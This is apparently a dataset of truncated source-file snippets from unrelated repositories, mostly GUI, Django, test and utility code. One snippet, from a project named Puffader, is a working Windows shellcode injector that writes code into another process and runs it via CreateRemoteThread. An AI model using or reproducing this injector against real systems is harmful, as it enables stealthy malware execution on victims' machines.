"Id":"25337928", "WalletId":"1169420" }, 'status': 200 }, { 'method': responses.GET, 'url': settings.MANGOPAY_API_SANDBOX_URL+settings.MANGOPAY_CLIENT_ID+'/bankingaliases/25337928', 'body': ...
UITools/saleor
saleor/product/migrations/0088_auto_20190220_1928.py
Python
bsd-3-clause
398
0
# Generated by Django
2.1.4 on 2019-02-21 01:28 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('product', '0087_auto_20190208_0326'), ] operations = [ migrations.AlterField( model_name='collection', name='is_published', fi...
efault=True), ), ]
levondov/TuneResonancePython
Main program/tdGUISettings.py
Python
mit
20,660
0.031559
import wx import wx.lib.agw.floatspin as FS import tdGUI import tuneDiagram class tdGUISettings: # main window size = (450,450); window = 0; parent = 0; frame = 0; panel = 0; tune = 0; sizer=0; # settings values rangeValues=0; # lists list1=0; list2=0; list3=...
.CHK_CHECKED); self.orderbox4 = wx.CheckBox(self.panel, label='4'); hbox.Add(self.orderbox4,flag=wx.LEFT); hbox.Add((5,-1)); if self.orderboxValues[3]: self.orderbox4.Set3StateValue(wx.CHK_CHECKED); self.orderbox5 = wx.CheckBox(self.panel
, label='5'); hbox.Add(self.orderbox5,flag=wx.LEFT); hbox.Add((5,-1)); if self.orderboxValues[4]: self.orderbox5.Set3StateValue(wx.CHK_CHECKED); self.orderbox6 = wx.CheckBox(self.panel, label='6'); hbox.Add(self.orderbox6,flag=wx.LEFT); hbox.Add((5,-1)); ...
stormsson/procedural_city_generation_wrapper
vendor/josauder/procedural_city_generation/polygons/getLots.py
Python
mpl-2.0
1,245
0.003213
from __future__ import division from procedural_cit
y_generation.polygons.getBlock import getBlock from procedural_city_generation.polygons.split_poly import split_poly def divide(poly): """Divide polygon as many smaller polygons as possible""" current = [poly] nxt = [] done = [] while current:
for x in current: parts = split_poly(x) if parts: nxt += parts else: done.append(x) current, nxt = nxt, [] return done def getLots(wedge_poly_list, vertex_list): properties = [] for wedge_poly in wedge_poly_list: for po...
ihidalgo/uip-prog3
Parciales/practicas/kivy-designer-master/designer/uix/designer_action_items.py
Python
mit
2,269
0.000441
from kivy.metrics import sp from kivy.properties import ObjectProperty, StringProperty from kivy.uix.actionbar import ActionGroup, ActionPrevious, ActionButton, \ ActionItem from kivy.uix.behaviors import ButtonBehavior from kivy.uix.floatlayout import FloatLayout from designer.uix.actioncheckbutton import ActionCh...
self.size_hint_y = None self.height = sp(49) class DesignerActionGroup(ActionGroup): pass class DesignerSubActionButton(ActionButton): def __init__(self, **kwargs): super(DesignerSubActionButton, self).__init__(**kwargs) def on_press(self): if self.cont_menu:
self.cont_menu.dismiss() class DesignerActionButton(ActionItem, ButtonBehavior, FloatLayout): '''DesignerActionButton is a ActionButton to the ActionBar menu ''' text = StringProperty('Button') '''text which is displayed in the DesignerActionButton. :data:`text` is a :class:`~kivy.properties.S...
kloiasoft/whitefly
test/models/test_workspace.py
Python
apache-2.0
2,294
0.003051
from mock import patch from unittest import TestCase from whitefly.models.workspace import Workspace def always_true(instance): return True def always_false(instance): return False class TestWorkspace(TestCase): @patch('os.path.isdir') def test_workspace_data_dir_exists_should_return_true_when_dat...
always_true workspace = Workspace("db", "oracle") ret = workspace.validate() self.assertEqual(True, ret) @patch('os.path.exists') @patch('os.path.isdir') def test_validate_should_return_false_when_data_dir_and_config_not_exists(self, path_exists_mock, path_isdir_mock): path...
workspace = Workspace("db", "oracle") ret = workspace.validate() self.assertEqual(False, ret)
google/google-ctf
2021/quals/pwn-tridroid/attachments/server.py
Python
apache-2.0
4,265
0.003048
#!/usr/bin/env python3 # Copyright 2021 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or ...
o-cache" + " -no-snapstorage" + " -no-snapshot-save" + " -no-snapshot-load" + " -no-audio" + " -no-window" + " -no-snapshot" + " -no-boot-anim" + "
-wipe-data" + " -accel on" + " -netdelay none" + " -no-sim" + " -netspeed full" + " -delay-adb" + " -port {}".format(EMULATOR_PORT) + " > /dev/null 2> /dev/null ", env=ENV, close_fds=True, shell=True) def adb(args, capture_output=True): ...
Zulfikarlatief/tealinux-software-center
src/updateView.py
Python
gpl-3.0
13,532
0.00702
#! /usr/bin/env python # -*- coding: utf-8 -*- # Copyright (C) 2011 Deepin, Inc. # 2011 Wang Yong # 2012 Reza Faiz A # # Author: Wang Yong <[email protected]> # Maintainer: Wang Yong <[email protected]> # Reza Faiz A <[email protected]> # Remixed : Reza Faiz A <ylpmi...
= gtk.Alignment() self.itemFrame.set(0.0, 0.5, 1.0, 1.0) self.itemFrame.add(self.itemEventBox)
# Add check box. checkPaddingLeft = 20 checkPaddingRight = 15 checkPaddingY = 10 self.checkButton = gtk.CheckButton() self.checkButton.set_active(self.getSelectStatusCallback(utils.getPkgName(self.appInfo.pkg))) self.checkButton.connect("toggled", lambda w: self.tog...
nict-isp/uds-sdk
uds/warnings.py
Python
gpl-2.0
979
0.002043
# -*- coding: utf-8 -*- """ uds.warnings ~~~~~~~~~~~~ :copyright: Copyright (c) 2015, National Institute of Information and Communications Technology.All rights reserved. :license: GPL2, see LICENSE for more details. """ import warnings def deprecated(func): """This is a decorator which can be used to mark func...
w_func.__dict__.update(func.__dict__) return new_func # Examples of use @deprecated def some_o
ld_function(x, y): return x + y class SomeClass: @deprecated def some_old_method(self, x, y): return x + y
Sveder/edx-lint
test/input/func_layered_tests.py
Python
apache-2.0
1,314
0.010654
"""These are bad """ # pylint: disable=missing-docstring # pylint: disable=too-few-public-methods import unittest # This is bad class TestCase(unittest.TestCase): def test_one(self): pass class DerivedTestCase(TestCase): def test_two(self): pass # This is bad, but the author seems to know ...
def test_one(self): pass class TestsWithHelpers2(TestHelpers2): def test_two(self): pass # Mixins are fine. class TestMixins(object): def test_one(self): pass class TestsWithMixins(TestMixins, unittest.TestCase): def test_two(self): pass # A base class whic
h is a TestCase, but has no test methods. class EmptyTestCase(unittest.TestCase): def setUp(self): super(EmptyTestCase, self).setUp() class ActualTestCase(EmptyTestCase): def test_something(self): pass
opendatateam/udata
udata/core/reuse/signals.py
Python
agpl-3.0
155
0
from blinker import Namespace
namespace = Namespace() #: Trigerred when a reuse is published on_reuse_published = namespace.signal('on-r
euse-published')
bhenne/MoSP
mosp/geo/utm.py
Python
gpl-3.0
10,100
0.00901
# -*- coding: utf-8 -*- """Working with UTM and Lat/Long coordinates Based on http://home.hiwaay.net/~taylorc/toolbox/geography/geoutm.html """ from math import sin, cos, sqrt, tan, pi, floor __author__ = "P. Tute, C. Taylor" __maintainer__ = "B. Henne" __contact__ = "[email protected]" __copyright__ = "(...
o use the code.""" # Ellipsoid model constants (actual values here are for WGS84) UTMScaleFactor = 0.9996 #: Ellipsoid
model constant sm_a = 6378137.0 #: Ellipsoid model constant: Semi-major axis a sm_b = 6356752.314 #: Ellipsoid model constant: Semi-major axis b sm_EccSquared = 6.69437999013e-03 #: Ellipsoid model constant def long_to_zone(lon): """Calculates the current UTM-zone for a give...
queirozfcom/vector_space_retrieval
vsr/common/helpers/results.py
Python
mit
1,477
0.042654
from collections import OrderedDict import csv,re,sys # returns an ordered dict[int,list[int]] def load_from_csv_file(path_to_file): # ordered dict so as to keep the same order and avoid 'surprises' data = OrderedDict() with open(path_to_file,'r') as csvfile: reader = csv.reader(csvfile,delimiter=';') for ro...
o_csv_file(model,output_file): if isinstance(model,list): a_dict = OrderedDict() for lst in model: a_dict[lst[0]] = lst[1] model = a_di
ct with open(output_file,"w") as outfile: w = csv.writer(outfile,delimiter=';') for key,vals in model.iteritems(): w.writerow([key,vals]) def _is_python_list(str_representation): no_of_open_sq_brackets = str_representation.count('[') no_of_close_sq_brackets = str_representation.count(']') if no_of_clos...
tadashi-aikawa/owlmixin
owlmixin/__init__.py
Python
mit
34,064
0.001952
# coding: utf-8 # pylint: disable=too-many-lines import inspect import sys from typing import TypeVar, Optional, Sequence, Iterable, List, Any from owlmixin import util from owlmixin.errors import RequiredError, UnknownPropertiesError, InvalidTypeError from owlmixin.owlcollections import TDict, TIterator, TList from ...
ot isinstance(v, str) and v is not None): return TOption( traverse(g_type[0], name, v, cls, force_snake_case, force_cast, restrict) ) return TOption(None) raise RuntimeError(f"This generics is not supported `{o_type}`") class OwlMeta(type): def __new__(cls, nam...
ct.ismethod)) return ret_cls class OwlMixin(DictTransformer, JsonTransformer, YamlTransformer, metaclass=OwlMeta): @classmethod def from_dict( cls, d: dict, *, force_snake_case: bool = True, force_cast: bool = False, restrict: bool = True, ) -> T: ...
timpalpant/calibre
src/calibre/gui2/shortcuts.py
Python
gpl-3.0
11,451
0.003231
#!/usr/bin/env python2 # vim:fileencoding=UTF-8:ts=4:sw=4:sta:et:sts=4:ai from __future__ import with_statement __license__ = 'GPL v3' __copyright__ = '2009, Kovid Goyal <[email protected]>' __docformat__ = 'restructuredtext en' from functools import partial from PyQt5.Qt import ( QAbstractListModel, Qt, QK...
parent, option, index): w = Customize(index, index.model().duplicate_check, parent=parent) self.editing_indices[index.row()] = w self.sizeHintChanged.emit(index) return w def setEditorData(self, editor, index): defs = index.data(DEFAULTS) defs = _(' or ').join([unico...
.data(KEY)) editor.default_shortcuts.setText(_('&Default') + ': %s' % defs) editor.default_shortcuts.setChecked(True) editor.header.setText('<b>%s: %s</b>'%(_('Customize shortcuts for'), unicode(index.data(DESCRIPTION)))) custom = index.data(CUSTOM) if custom: ...
litui/openparliament
parliament/core/migrations/0002_some_fr_fields.py
Python
agpl-3.0
1,459
0.000685
# -*- coding: utf-8 -*- # Generated by Django 1.10.5 on 2017-02-25 22:07 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('core', '0001_initial'), ] operations = [ migrations.AlterModelOptions( ...
migrations.RenameField( model_name='riding', old_name='name', new_name='name_en', ), migrations.AddField( model_name='party', name='name_fr', field=models.CharField(blank=True, max_length=100), ), migrations.AddField...
eld(blank=True, max_length=100), ), migrations.RunSQL('UPDATE core_party SET name_fr = name_en;'), migrations.RunSQL('UPDATE core_party SET short_name_fr = short_name_en;'), ]
jtolds/pants-lang
src/ast/parse.py
Python
mit
26,451
0.015122
#!/usr/bin/env python # # Copyright (c) 2012, JT Olds <[email protected]> # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to us...
rrent_char if opening_quote_count == 1: string_escape = self.parse_string_escape() if string_escape is not None: val_to_append = string_escape value.append(val_to_append) self.advance() for _ in xrange(opening_quote_count): self.advance() return ast.String(bytestring,...
False self.advance() if self.parse_string() is not None: return True while True: if self.eof(): return True self.advance() if self.current_char == "\n": return True def skip_whitespace(self, other_skips=[]): if self.eof(): return False if self.skip_comment(): return True if...
iotile/coretools
transport_plugins/bled112/test/test_bled112_passive.py
Python
gpl-3.0
1,805
0.001108
import unittest import threading import serial from iotile_transport_bled112.hardware.emulator.mock_bled112 import MockBLED112 from iotile.mock.mock_ble import MockBLEDevice from iotile.core.hw.virtual.virtualdevice_simple import SimpleVirtualDevice import util.dummy_serial from iotile_transport_bled112.bled112 import ...
e(self.dev1_ble) util.dummy_serial.RESPONSE_GENERATOR = self.adapter.generate_response self._scanned_devices_seen = threading.Event() self.nu
m_scanned_devices = 0 self.scanned_devices = [] self.bled = BLED112Adapter('test', self._on_scan_callback, self._on_disconnect_callback, stop_check_interval=0.01) def tearDown(self): self.bled.stop_sync() serial.Serial = self.old_serial def test_basic_init(self): """Tes...
tylerlong/toolkit_library
setup.py
Python
bsd-3-clause
1,418
0.01763
from distutils.core import setup import toolkit_library from toolkit_library import inspector def read_modules(): result = '' package = inspector.PackageInspector(toolkit_library) for module in package.get_all_modules(): exec('from toolkit_library import {0}'.format(module)) result...
__'.format(module))) return result.rstrip() readme = '' with open('README_template', 'r') as file: readme = file.read() readme = readme.replace('{{ modules }}', read_modules()) with open('README.rst', 'w') as file: file.write(readme) setup( name = toolkit_library.__name__, versio...
BSD', author = toolkit_library.__author__, author_email = '[email protected]', description = 'Toolkit Library, full of useful toolkits', long_description = readme, packages = ['toolkit_library', ], platforms = 'any', classifiers = [ 'Development Status :: 4 - Beta', ...
jkyeung/XlsxWriter
examples/chart_scatter.py
Python
bsd-2-clause
5,416
0.000923
####################################################################### # # An example of creating Excel Scatter charts with Python and XlsxWriter. # # Copyright 2013-2016, John McNamara, [email protected] # import xlsxwriter workbook = xlsxwriter.Workbook('chart_scatter.xlsx') worksheet = workbook.add_worksheet() bo...
ies({ 'name': '=Sheet1!$B$1', 'categories': '=Sheet1!$A$2:$A$7', 'values': '=Sheet1!
$B$2:$B$7', }) # Configure second series. chart3.add_series({ 'name': '=Sheet1!$C$1', 'categories': '=Sheet1!$A$2:$A$7', 'values': '=Sheet1!$C$2:$C$7', }) # Add a chart title and some axis labels. chart3.set_title ({'name': 'Straight line'}) chart3.set_x_axis({'name': 'Test number'}) chart3.set_...
yanheven/neutron
neutron/server/wsgi_eventlet.py
Python
apache-2.0
1,568
0
#!/usr/bin/env python # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in wr...
orkers = service.start_plugin_workers() for worker in plugin_workers: pool.spawn(worker.wait) # api and rpc should die together. When one dies, kill the other. rpc_thread.link(lambda gt: api_thread.kill()) api_thread.li
nk(lambda gt: rpc_thread.kill()) pool.waitall() def main(): server.boot_server(_eventlet_wsgi_server)
USGSDenverPychron/pychron
pychron/database/core/database_adapter.py
Python
apache-2.0
27,114
0.000922
# =============================================================================== # Copyright 2011 Jake Ross # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses...
se _test_connection_enabled = True def __init__(self, *args, **kw): super(DatabaseAdapter, self).__init__(*args, **kw) self._session_lock = Lock() def create_all(self, metadata): """ Build a database schema with the current connection :param metadata: SQLAchemy Met...
e): # """ # Make a new session context. # # :return: ``SessionCTX`` # """ # with self._session_lock: # if sess is None: # sess = self.sess # return SessionCTX(sess, parent=self, commit=commit, rollback=rollback) _session_cnt = 0 ...
xp4xbox/Puffader
Meterpreter_Plugin/code_injector.py
Python
mit
831
0.00722
''' Code Injector Module Referenced from https://tinyurl.com/y9dgnbpe https://github.com/xp4xbox/Puffader ''' from ctypes import * def InjectShellCode(pid, shellcode): try: page_rwx_value = 0x40 process_all = 0x1F0FFF memcommit = 0x00001000 kernel32_variable = windll.kernel32 ...
process_handle = kernel32_variable.OpenProcess(process_all, False, pid) memory_allocation_variable = kernel32_variable.VirtualAllocEx(process_handle, 0, shellcode_length, memcommit, page_rwx_value)
kernel32_variable.WriteProcessMemory(process_handle, memory_allocation_variable, shellcode, shellcode_length, 0) kernel32_variable.CreateRemoteThread(process_handle, None, 0, memory_allocation_variable, 0, 0, 0) except: pass
BurkovBA/django-rest-framework-mongoengine
rest_framework_mongoengine/repr.py
Python
mit
4,210
0.000713
""" Helper functions for creating user-friendly representations of
serializer classes and serializer fields. """ from __
future__ import unicode_literals import re from django.utils import six from django.utils.encoding import force_str from mongoengine.base import BaseDocument from mongoengine.fields import BaseField from mongoengine.queryset import QuerySet from rest_framework.compat import unicode_repr from rest_framework.fields imp...
IntegerMan/Pi-MFD
PiMFD/UI/Widgets/__init__.py
Python
gpl-2.0
66
0
# coding=utf-8 """ Widgets Module "
"" __auth
or__ = 'Matt Eland'
luisgustavossdd/TBD
framework/logger.py
Python
gpl-3.0
224
0.004464
#!/u
sr/bin/python # -*- coding: utf-8 -*- import logging def logcall(func): def _logcall(*args, **kw): logging.debug("%s.%s" % (args[0
], func.__name__)) return func(*args, **kw) return _logcall
PXke/invenio
invenio/legacy/dbquery.py
Python
gpl-2.0
17,135
0.003735
## This file is part of Invenio. ## Copyright (C) 2008, 2009, 2010, 2011, 2012, 2013 CERN. ## ## Invenio is free software; you can redistribute it and/or ## modify it under the terms of the GNU General Public License as ## published by the Free Software Foundation; either version 2 of the ## License, or (at your option...
use_unicode=False, charset='utf8') connection.autocommit(True) return connection else: if thread_ident in _DB_CONN[dbhost]: return _DB_CONN[dbhost][thread_ident] else: connection = _DB_CONN[dbhost][thread_ident] = connect(host=dbhost, ...
user=cfg['CFG_DATABASE_USER'], passwd=cfg['CFG_DATABASE_PASS'], use_unicode=False, charset='utf8') connection.autocommit(True) return connection def _db_logout(dbhost=None): """Cl...
InstitutoPascal/campuswebpro
languages/fr-fr.py
Python
agpl-3.0
5,725
0.02828
# coding: utf8 { '!langcode!': 'fr-fr', '!langname!': 'fr-fr', '"update" is an optional expression like "field1=\'newvalue\'". You cannot update or delete the results of a JOIN': '"update" is an optional expression like "field1=\'newvalue\'". You cannot update or delete the results of a JOIN', '%d-%m-%y': '%d-%m-%y', '...
'Preview', 'previous 100 rows': 'previous 100 rows', 'Query:': 'Query:', 'Radiología': 'Radiología', 'record': 'record', 'record does not exist': "l'archive n'existe pas", 'record id': 'record id', 'Record ID': 'Record ID', 'Recursos Humanos': 'Recursos Humanos', 'Register': 'Register', 'register': 'register', 'Regist...
sword key', 'Role': 'Role', 'Rows in table': 'Rows in table', 'Rows selected': 'Rows selected', 'Salud': 'Salud', 'Save': 'Save', 'selected': 'selected', 'state': 'état', 'Stylesheet': 'Stylesheet', 'Subtitle': 'Subtitle', 'Sure you want to delete this object?': 'Souhaitez vous vraiment effacercet objet?', 'table': 'ta...
carolFrohlich/nipype
nipype/interfaces/semtools/diffusion/tractography/commandlineonly.py
Python
bsd-3-clause
1,894
0.002112
# -*- coding: utf-8 -*- # -*- coding: utf8 -*- """Autogenerated file - DO NOT EDIT If you spot a bug, please report it on the mailing list and/or change the generator.""" import os from ....base import (CommandLine, CommandLineInputSpec, SEMLikeCommandLine, TraitedSpec, File, Directory, traits, ...
/Nightly/Extensions/DTIProcess license: Copyright (c) Casey Goodlett. All rights reserved. See http://www.ia.unc.edu/dev/Copyright.htm for details. This software is distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PUR
POSE. See the above copyright notices for more information. contributor: Casey Goodlett acknowledgements: Hans Johnson(1,3,4); Kent Williams(1); (1=University of Iowa Department of Psychiatry, 3=University of Iowa Department of Biomedical Engineering, 4=University of Iowa Department of Electrical and Computer Engine...
truongdq/chainer
chainer/link.py
Python
mit
23,098
0
import copy import numpy import six from chainer import cuda from chainer import variable class Link(object): """Building block of model definitions. Link is a building block of neural network models that support various features like handling parameters, defining network fragments, serialization,...
gradient of the variable are initialized by NaN arrays. The parameter is set to an attribute of the link with the given name. Args: name (str): Name of the parameter. This name is also used as the attribute name. shape (i
nt or tuple of ints): Shape of the parameter array. dtype: Data type of the parameter array. """ d = self.__dict__ if name in d: raise AttributeError( 'cannot register a new parameter %s: attribute exists' % name) data = self.xp.fu...
JoseALermaIII/python-tutorials
pythontutorials/books/AutomateTheBoringStuff/Ch14/P3_removeCsvHeader.py
Python
mit
1,125
0.001778
#! python3 """Remove CSV header Removes the header from all CSV files in the current working directory. Note: Outputs to ``./headerRemoved`` directory. """ def main(): import csv, os os.makedirs('headerRemoved', exist_ok=True) # Loop through every file in the current working directory. for cs...
Obj = open(csvFilename) readerObj = csv.reader(csvFileObj) for row in readerObj: if readerObj.line_num == 1:
continue # skip first row csvRows.append(row) csvFileObj.close() # Write out the CSV file. csvFileObj = open(os.path.join('headerRemoved', csvFilename), 'w', newline='') csvWriter = csv.writer(csvFileObj) for row in csvRows: csvWriter.writerow(row) ...
openatv/enigma2
lib/python/Components/Renderer/AnalogClockLCD.py
Python
gpl-2.0
3,177
0.032735
# original code is from openmips gb Team: [OMaClockLcd] Renderer # # Thx to arn354 # import math from Components.Renderer.Renderer import Renderer from skin import parseColor from enigma import eCanvas, eSize, gRGB, eRect class AnalogClockLCD(Renderer): def __init__(self): Renderer.__init__(self) self.fColor = ...
self.positionwidth = int(what) elif (attrib == 'linesize'): self.linesize = int(what) else: attribs.append((attrib, what)) self.skinAttributes = attribs return Renderer.applySkin(self, desktop, parent) def calc(self, w, r, m, m1): a = (w * 6) z = (math.pi / 180) x = int(round((r * math.sin(...
return ((m + x), (m1 - y)) def hand(self, opt): width = self.positionwidth height = self.positionheight r = (width / 2) r1 = (height / 2) if opt == 'sec': self.fColor = self.fColors elif opt == 'min': self.fColor = self.fColorm else: self.fColor = self.fColorh (endX, endY,) = self.calc(self.f...
hoelsner/product-database
app/productdb/validators.py
Python
mit
1,183
0.004227
import json from django.core.exceptions import ValidationError import app.productdb.models def validate_json(value): """a simple JSON validator :param value: :return: """ try: json.loads(value) except:
raise ValidationError("Invalid format of JSON data string") def validate_product_list_string(value, vendor_id): """ verifies that a product list string contains only valid Product IDs that are stored in the database for a given vendor """
values = [] missing_products = [] for line in value.splitlines(): values += line.split(";") values = sorted([e.strip() for e in values]) for value in values: try: app.productdb.models.Product.objects.get(product_id=value, vendor_id=vendor_id) except: m...
GFZ-Centre-for-Early-Warning/REM_RRVS
permanent-tools/VIRB360/extract_frames.py
Python
bsd-3-clause
1,214
0.022241
import cv2 import fitparse import os fname = 'V0280048.MP4' fitfile ='2018-06-01-12-13-33.fit' vidcap = cv2.VideoCapture(fname) success,image = vidcap.read() success count = 0 if success: stream = fname.split('.')[-2] os.mkdir(stream) while success: cv2.imwrite("{}/{}_frame{}.jpg".format(stream,strea...
FitFile('2018-06-01-12-13-33.fit') for i,m in enumerate(ff.get_messages('gps_metadata')): for f in m.fields: if f.name in fields_to_extract: meta[f.name].append(f.value) if f.n
ame in fields_to_convert: meta[f.name].append(f.value*180.0/2**31) import pandas metadata = pandas.DataFrame() for key in fields_to_extract+fields_to_convert: metadata[key]=pandas.Series(meta[key]) metadata.to_csv('{}_metadata.csv'.format(stream))
ActiveState/code
recipes/Python/522995_Priority_dict_priority_queue_updatable/recipe-522995.py
Python
mit
2,795
0.002862
from heapq import heapify, heappush, heappop class priority_dict(dict): """Dictionary that can be used as a priority queue. Keys of the dictionary are items to be put into the queue, and values are their respective priorities. All dictionary methods work as expected. The advantage over a standard heap...
owest priority, and 'pop_smallest' also removes it. The 'sorted_iter' method provides a destructive sorted iterator. """ def __init__(self, *args, **kwargs): super(priority_dict, self).__init__(*args, **kwargs) self._rebuild_heap() def _rebuild_heap(self): self
._heap = [(v, k) for k, v in self.iteritems()] heapify(self._heap) def smallest(self): """Return the item with the lowest priority. Raises IndexError if the object is empty. """ heap = self._heap v, k = heap[0] while k not in self or self[k] != v: ...
FireBladeNooT/Medusa_1_6
medusa/providers/torrent/xml/bitsnoop.py
Python
gpl-3.0
5,911
0.001861
# coding=utf-8 # Author: Gonçalo M. (aka duramato/supergonkas) <[email protected]> # # This file is part of Medusa. # # Medusa is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the Licens...
turi').next.replace('CDATA', '').strip('[]') + \ self._custom_trackers if not all([title, download_url]):
continue seeders = try_int(row.find('numseeders').text) leechers = try_int(row.find('numleechers').text) # Filter unseeded torrent if seeders < min(self.minseed, 1): if mode != 'RSS': ...
pniedzielski/fb-hackathon-2013-11-21
src/repl.it/jsrepl/extern/python/unclosured/lib/python2.7/platform.py
Python
agpl-3.0
52,280
0.00723
#!/usr/bin/env python """ This module tries to retrieve as much platform-identifying data as possible. It makes this information available via function APIs. If called from the command line, it prints the platform information concatenated as single string to stdout. The output format is useable as par...
copies and that both that copyright notice and this permission notice appear in supporting documentation or portions thereof, including modifications, that you make. EGENIX.COM SOFTWARE GMBH DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTW
ARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, AR...
arteria/django-homegate
manage.py
Python
mit
296
0
#!/usr/bin/env python import o
s import sys if __name__ == "__main__": os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'django_homegate.tests.south_settings') from django.core.management import execute_from_command_line execute_from_command
_line(sys.argv)
ajventer/ezdm
ezdm_libs/all_maps.py
Python
gpl-3.0
15,818
0.002845
from .frontend import Session, Page from . import frontend from .gamemap import GameMap from .util import find_files, load_json, debug, filename_parser from .character import Character from .item import Item from .combat import attack_roll from json import loads import copy class MAPS(Session): def __init__(self)...
['iconindex']: self._data['detailtype'] = 'character' target = fro
ntend.campaign.characterlist[int(requestdata['iconindex'])]
eunchong/build
third_party/google_api_python_client/sitecustomize.py
Python
bsd-3-clause
363
0
# Set up the system so that this development # version of google-api-python-client is
run, even if # an older version is installed on the system. # # To make this totally automatic add the following to # your ~/.bash_profile: # # export PYTHONPATH=/path/to/where/you/checked/out/googleapiclient im
port sys import os sys.path.insert(0, os.path.dirname(__file__))
JeetShetty/GreenPiThumb
tests/test_light_sensor.py
Python
apache-2.0
826
0
import unittest import mock from greenpithumb import light_sensor class LightSensorTest(unittest.TestCase): def setUp(self): self.mock_adc = mock.Mock() channel = 1 self.light_sensor = light_sensor.LightSensor(self.mock_adc, channel) def test_light_50_pct(self): ""
"Near midpoint light sensor value should return near 50.""" self.mock_adc.read_adc.return_value = 511 self.assertAlmostEqual(self.light_sensor.light(), 50.0, places=1) def test_ambient_light_too_low(self): """Light sensor value less than min should raise a ValueError.""" with self.a...
light_sensor._LIGHT_SENSOR_MIN_VALUE - 1) self.light_sensor.light()
NProfileAnalysisComputationalTool/npact
virtualenv.py
Python
bsd-3-clause
100,693
0.001519
#!/usr/bin/env python """Create a "virtual" Python installation""" import os import sys # If we are running in a new interpreter to create a virtualenv, # we do NOT want paths from our existing location interfering with anything, # So we remove this file's directory from sys.path - most likely to be # the previous in...
xcept WindowsError: break exes = dict() for ver in versions: try: path = winreg.QueryValue(python_core, "%s\\InstallPath" % ver)
except WindowsError: continue exes[ver] = join(path, "python.exe") winreg.CloseKey(python_core) # Add the major versions # Sort the keys, then repeatedly update the major version entry # Last executable (i.e., highest version) wins with this approach ...
cloudbau/nova
nova/tests/api/openstack/compute/plugins/v3/test_simple_tenant_usage.py
Python
apache-2.0
20,267
0.000641
# vim: tabstop=4 shiftwidth=4 softtabstop=4 # Copyright 2011 OpenStack Foundation # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apach...
_GB, 'ephemeral_gb': EPHEMERAL_GB, 'memory_mb': MEMORY_MB, 'name': 'fakeflavor', 'flavorid': 'foo',
'rxtx_factor': 1.0, 'vcpu_weight': 1, 'swap': 0} def get_fake_db_instance(start, end, instance_id, tenant_id): sys_meta = utils.dict_to_metadata( flavors.save_flavor_info({}, FAKE_INST_TYPE)) return {'id': instance_id, 'uuid': '00000000-0000-0000...
plasmixs/virtcluster
Host/provision/vc_prov.py
Python
gpl-2.0
42,312
0.006192
#!/usr/bin/env python # -*- coding: utf-8 -*- from common import common from common import cli_fmwk from provision import py_libvirt from provision import vc_commision from provision import ssh import inspect import string import os import json import shutil import logging import logging.handlers import urlparse logg...
ork_lookup(self._
con, nwk_name) if not nwk: error_log_print("Network not defined") return s=py_libvirt.dumpxml_network(nwk) print(s) elif comp_type==['interface']: ifc_name=arg_lst[1] ifc = py_libvirt.host_interfaces_lookup(self._con, if...
ethers/dapp-bin
btcrelay/misc/btczzz.py
Python
mit
2,827
0.004245
# old functions / macros # calls btcrelay hashHeader def hashBlock(rawBlockHe
ader:str): version = stringReadUnsignedBitsLE(rawBlockH
eader, 32, 0) hashPrevBlock = stringReadUnsignedBitsLE(rawBlockHeader, 256, 4) hashMerkleRoot = stringReadUnsignedBitsLE(rawBlockHeader, 256, 36) time = stringReadUnsignedBitsLE(rawBlockHeader, 32, 68) bits = stringReadUnsignedBitsLE(rawBlockHeader, 32, 72) nonce = stringReadUnsignedBitsLE(rawBlockH...
WindowsPhoneForensics/find_my_texts_wp8
find_my_texts_wp8/recovery_expressions/thread_record/default/full.py
Python
gpl-3.0
306
0
__author__ = 'Chris Ottersen' values = { "id_short": None, "id_byte": None, "thread_id": None, "thread_length": None, "u0": None, "FILETIME_0": None, "messa
ge_count": None, "u1": None, "phone_0": None, "phone_1": None, "phone_2": None, "FILETI
ME_1": None }
shashi792/courtlistener
alert/donate/admin.py
Python
agpl-3.0
730
0
from django.contrib import admin from alert.donate.models import Donation from alert.userHandling.models import UserProfile class DonorInline(admin.TabularInline): model = UserProfile.donation.through max_num = 1 raw_id_fields = ( 'userprofile', ) class DonationAdmin(admin.ModelAdmin): r...
ist_filter = ( 'payment_provider', 'status', 'referrer', ) inlines = (
DonorInline, ) admin.site.register(Donation, DonationAdmin)
artoonie/RedStatesBlueStates
redblue/viewsenators/migrations/0004_add_cities.py
Python
gpl-3.0
4,790
0.003549
# -*- coding: utf-8 -*- from __future__ import
unicode_literals from django.db import migrations, models import django.db.models.deletion import viewsenators.initialization as initter def po
pulateParties(apps, schema_editor): PartyInProgress = apps.get_model('viewsenators', 'Party') db_alias = schema_editor.connection.alias allPartyObjects = PartyInProgress.objects.using(db_alias) initter.populateParties(PartyInProgress, allPartyObjects) def unpopulateParties(apps, schema_editor): Par...
kevinpetersavage/BOUT-dev
examples/non-local_1d/analyseboundary-Ts.py
Python
gpl-3.0
1,736
0.031106
